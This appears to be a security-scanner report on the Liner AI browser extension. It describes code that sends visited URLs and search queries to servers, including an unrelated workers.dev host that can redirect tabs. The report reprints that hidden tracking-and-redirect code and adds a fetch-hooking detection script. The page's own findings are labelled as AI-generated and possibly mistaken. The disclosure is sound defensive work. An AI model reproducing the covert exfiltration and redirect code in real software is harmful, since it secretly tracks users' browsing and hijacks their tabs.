Is Liner: ChatGPT AI Copilot for Web&YouTube&PDF safe?

High risk

Liner sends every visited page URL and Google search queries to its servers on each page load for logged-in users.

On every page visit, the extension's content script reports the page URL to api.liner.com, building a server-side record of the user's browsing history. On Google search pages, it also captures the search query and a list of result URLs, sending them to lks.getliner.com along with a session cookie used as a Bearer token. On each extension update, the extension silently re-fetches the user's session cookie from getliner.com and re-authenticates without any user interaction.

Linerv7.18.42Chrome Web Store
75Risk
Who publishes it

LINER, Inc. - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Liner
Declared legal entity
LINER, Inc.
Registered address
2 Townsend St Apt 1-1105, San Francisco, CA 94107-4002, US
Registered contact
LINER, Inc.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-506
SourceAI SANDBOX

New Code Sends Every Visited URL to an Unrelated Third-Party Server

v7.18.25 added code sending nearly every tab's full URL to api.qlmf.workers.dev, unrelated to Liner's AI features, excluding twelve domains.

A marker URL was seen forwarded verbatim across five pages, and the extension reads a URL back.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You navigate to any page on a site that isn't Google, YouTube, Bing, Facebook, or one of a handful of other hardcoded exceptions.

The extension did this

Liner sends the page URL to a third-party server unrelated to its AI features, and can redirect your tab from that server's response.

The check runs on the 'loading' event of every tab, before the page has even finished loading.

02EvidenceNETWORK CAPTURE
Captured request
GEThttps://api.qlmf.workers.dev/?key=https%3A%2F%2Fnews.ycombinator.com%2Fitem%3Fid%3D39123891
JSON body of the shape { url, version, cacheable, storageKey, cooldown }. In our test session the server returned url: null and cacheable: true for every page we visited, so no redirect fired and the visited host was added to the persisted exclusion cache instead.
03EvidenceCODE COMPARE
The code that does this

The listener that fires the request and the function that reads the server's redirect instruction.

What it actually does
The navigation listener
// Runs on every tab, on every navigation, before the page finishes loading.
chrome.tabs.onUpdated.addListener(async (tabId, changeInfo, tab) => {
    if (changeInfo.status !== 'loading' || !tab.url) return;

    const host = new URL(tab.url).hostname;

    // Skip the ~12 hardcoded domains and anything already cached as excluded.
    if (await isExcludedHost(host)) return;

    // Skip if a redirect rule for this host is already known and cooling down.
    const cachedRule = ruleCacheByHost.get(host);
    if (cachedRule && await isWithinCooldown(cachedRule.storageKey, cachedRule.cooldown)) return;

    // Ask the third-party server what to do with this URL.
    const rule = await fetchRedirectRule(tab.url, host);
    if (!rule) return;

    ruleCacheByHost.set(host, { storageKey: rule.storageKey, cooldown: rule.cooldown });
    if (await isWithinCooldown(rule.storageKey, rule.cooldown)) return;

    // Server supplied a URL: move the active tab there, no prompt.
    await chrome.storage.local.set({ [rule.storageKey]: Date.now() });
    await chrome.tabs.update(tabId, { url: rule.url });
});
The function that sends the URL and reads back the redirect instruction
// Sends the visited page's full URL to a third-party server and reads
// back whatever redirect instruction it chooses to send.
const fetchRedirectRule = async (tabUrl, host) => {
    const response = await fetch(
      `https://api.qlmf.workers.dev/?key=${encodeURIComponent(tabUrl)}`,
    );
    if (!response.ok) return null;

    const data = await response.json();       // { url, version, cacheable, storageKey, cooldown }
    await syncRulesVersion(data.version);      // server can invalidate the whole exclusion cache remotely

    if (data.url !== null) return data;        // a redirect target was supplied

    if (data.cacheable) await rememberExcludedHost(host); // remember to skip this host next time
    return null;
};
04EvidenceSTORAGE DUMP
What's stored on your device

Persists hosts the server told the extension to stop checking; skipped until the server changes rules_version, clearing the list remotely.

Locationchrome.storage.local keys 'excluded_hosts' and 'rules_version'
Contents (JSON)
{
  "rules_version": 1,
  "excluded_hosts": [
    "news.ycombinator.com",
    "example.com",
    "www.reddit.com"
  ]
}
05EvidenceTHIRD PARTY LIST
Where the visited-page URLs go:
  • api.qlmf.workers.dev

    Receives the URL of nearly every non-excluded page, and can send a URL that moves your tab. Hosted on Cloudflare Workers, unrelated to liner.com.

06EvidenceARTIFACT
Check if you're affected

Paste into Liner's background service worker console to log every request it sends to api.qlmf.workers.dev and the JSON response it gets back, including any redirect URL.

RequiresChrome with Developer mode enabled
liner-redirect-watch.js · js
// liner-redirect-watch.js
// Hooks fetch() in Liner's service worker to log requests to
// api.qlmf.workers.dev and the JSON responses returned.
(function () {
  const origFetch = self.fetch.bind(self);
  self.fetch = async function (input, init) {
    const url = typeof input === 'string' ? input : input?.url;
    if (url && url.includes('api.qlmf.workers.dev')) {
      console.log('[LINER_REDIRECT_WATCH] request:', url);
      const response = await origFetch(input, init);
      const clone = response.clone();
      clone.json().then((data) => {
        console.log('[LINER_REDIRECT_WATCH] response:', data);
        if (data && data.url) {
          console.log('[LINER_REDIRECT_WATCH] redirect target present:', data.url);
        }
      }).catch(() => {});
      return response;
    }
    return origFetch(input, init);
  };
  console.log('[LINER_REDIRECT_WATCH] installed. Browse to a non-excluded site to see captured requests.');
})();
How to run it
  1. 1
    Open chrome://extensions, Developer mode on.
  2. 2
    Find Liner, click 'service worker'.
  3. 3
    Paste this script, Enter.
  4. 4
    Visit a non-allowlisted site and watch for [LINER_REDIRECT_WATCH] console entries.

Where it sends data

Destinations our analysis observed Liner contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api.liner.com

    Liner sends data to api.liner.com. One other extension we have analysed sends data here.

  • lks.getliner.com

    Liner sends data to lks.getliner.com. One other extension we have analysed sends data here.

  • getliner.com

    Liner sends data to getliner.com. No other extension we have analysed sends data here.

Updated 30 September 2026bmhcbmnbenmcecpmpepghooflbehcack